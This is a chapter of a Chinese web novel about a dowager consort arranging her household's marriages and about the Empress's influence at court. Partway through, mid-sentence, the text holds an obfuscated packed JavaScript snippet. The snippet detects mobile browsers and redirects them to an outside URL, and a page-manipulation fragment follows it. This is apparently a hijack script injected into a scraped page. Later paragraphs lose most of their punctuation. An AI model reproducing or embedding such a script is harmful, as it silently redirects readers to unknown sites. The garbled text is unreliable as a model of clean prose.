可卿看着鸳鸯剑,愈发羞涩起来,只将鸳鸯剑挂在自己屋里,还找了一块上等的皮毛,每日里都要将剑擦一擦,叫佳姝看见了,很是笑了她几天。 可卿的婚事定下来了,顾晓也算是了了一桩心事。毕竟可卿这个身份在那里,顾晓既然接手了,虽说不至于要负责到底,但是许多事情,都得放在心上。如今她自个满意,上头两宫也满意,那就没事了。 可卿的婚事虽说没有对外明说,但王府里众人都知道了。如今府里头年纪最大的跟最小的婚事都已经定下来了,末儿那边婚事顾晓已经托付给了徒嘉钰,叫他也长兄如父一回,若是遇上什么合适的,就帮末儿定下来。 如今便剩下徒嘉泽与佳姝,两人要求都还算明确,但想要找到合适的,还真不是那么容易。 徒嘉泽要个出身不错还又能干的,但是这样的人,未必甘心做个宗室的将军夫人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13689552|117602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毕竟一个镇国将军也就是听起来好听,手里无权,便没太多实惠,也帮不上娘家。佳姝要个肯出海奋斗的,要么就是在已经出海的人里面找,要么就 要在还在观望的人里头选,已经出海的现在是鞭长莫及,至于还在观望的那些人,一时半会儿也难以分辨他们的心思,总得私底下慢慢打听起来。 徒嘉泽自个不急,如今府里头就他一个男主子,他日子过得自在着呢,要是成婚了,只怕就没法继续留下来,得搬到自己的将军府里头去,到时候可就少了许多便利。 人开始长大之后,就不可能像是小时候那样,只知道傻吃傻玩,不关心别的事情了。像是现在,朝廷将应该给徒嘉钰和末儿的俸禄之类都折合成了人口和物资,叫两人带走了。府里头连皇庄也只保留了两个,作为奉养顾晓这个平王太妃的产业。而之前王府的许多收益,在接下来很多年,多半会被投入到海外开发yimin里头去,而等到北美那边能反哺回来,还不知道要等多少年。 顾晓倒是没有缩减府里头的开支,但徒嘉泽已经有了危机感,毕竟,若是府里一直这么下去,太妃还愿意白白养着他们母子吗?只怕他刚成婚,太妃就要将他们扫地出门,免得他这个庶子得陇望蜀。 徒嘉泽与李氏母子两人商议了一番,觉得婚事还是要相看,但即便订婚了,成婚的日子也可以往后拖一拖,总得趁着这几年多攒下一些资本才行。最好能叫顾晓这个嫡母看到徒嘉泽的孝心,愿意留下徒嘉泽奉养自己。 这母子两个实在是想太多,顾晓如今真没有将徒嘉泽扫地出门的想法,别的不说,王府还有许多需要男性出去交际的事情,以后都得叫徒嘉泽去干呢!既然要劳烦徒嘉泽,顾晓也愿意付出一定的报酬,至于王府这点产业,若是徒嘉钰和末儿在北美那边站稳了脚跟,以那边的富庶,他们便有着一国之富,谁还会在乎王府这点东西,只要徒嘉泽一直能安分守己,那么,除了将来要交还宗人府的产业,其他都留给徒嘉泽也不是不行。 因此,顾晓早就想好了,只要徒嘉泽承担起该承担的责任,那回头就去求一下皇后,到时候将平王府的一部分分割出来作为徒嘉泽的镇国将军府,另外给他开个门就行,如此,大家都方便。 皇后如今在宫里反倒是愈发威严起来,颇有些无欲则刚的姿态。毕竟,徒嘉珩虽说被剥夺了皇位的继承权,但人家到外头另起炉灶去了。你这边真要是叫皇后不爽,哪怕儿子已经过继出去了,人家不也要为生 母出气?如今人家底气不足等人家真的在那边做了国主回头挥兵而来那朝廷这边哪怕是为了不起兵戈欺负皇后母女的人都要倒霉。 实际上就像是李氏如今一门心思想要徒嘉泽孝顺顾晓好得到王府剩下的产业一样如今即便是贤妃也不敢跟皇后扎刺甚至想要让皇后做自个儿子的养母要是自家儿子能被记到皇后名下那就再好不过。 可惜的是皇后又不傻凭什么为了别人的孩子借出自己的名头!她如今没了软肋地位愈发超然圣上对她心中依旧带着一些愧疚毕竟原本可以不用努力安安生生继承一个皇位的如今却要出去奋斗打拼如同当年的taizutaizong一样中原这边能提供的支持其实很有限委实不是嫡长子该有的待遇。 在这样的情绪下但凡皇后脑子不出问题她的地位稳如泰山甚至连下一任皇帝的人选皇后也有资格插嘴了。毕竟人家外有强援本身又是嫡母她或许不能决定谁能当下一任天子但是她却有一票否决权。反正就是她看谁不顺眼谁就没指望。 宫里上下都是捧高踩低的如今瞧着皇后架势便是人家以后可能落魄但是起码只要圣上还在皇后地位就不会被动摇日后新君登基便是新君尊奉生母皇后也能去投奔亲儿子。何况皇后如今也不算老圣上去凤仪宫的次数也不少说不定皇后还能再生一个呢? 皇后是不会再生了经历过生育的人对于生育的风险多半都有清醒的认知皇后很明白只要自己还活着那么对北美那边的支持就会源源不绝。而若是自己硬是想要再生一个她这个年纪再生育一个不好就是一尸两命的下场到时候圣上便是头几年愧疚一下之后肯定要另立新后那么谁还会再多管万里之外的事情呢?只怕为了保护自己的利益巴不得那边断绝援助 哪怕生育只有万一的风险皇后也不会愿意去承受。所以她如今已经不再侍奉圣上了圣上初一十五过来要么就是盖着棉被纯聊天要么就是皇后另外安排人伺候。 圣上对此倒也没什么想法他这样的身份也不缺这点生理上的需求他要睡女人到哪儿不能睡呢何必非要在皇后这边他其实也有顾忌若是皇后这边的宫人有子回头被皇后养在膝下那这孩子又算什么呢? 大概是因为两人的儿子都已经出海的缘故皇后如今特别喜欢召顾晓进宫。 如果皇后还是以前的雍王妃顾晓还是挺乐意的妯娌两个一起聊天八卦说些私房话。但如今皇后那样的身份许多话就不能随便说而且你也不能只把皇后当嫂子那是国母所以基本的礼数是要有的这就让顾晓挺心累偏生还不好拒绝只得尽力应付。 都是做妈的人凑一块别的话题未必安全最安全的话题莫过于儿女婚事尤其嘉妍也到了议亲的年纪不知道多少人因为种种原因惦记着这让皇后很是糟心。 作者有话要说 听说和异性朋友讨论本书情节的,很容易发展成恋人哦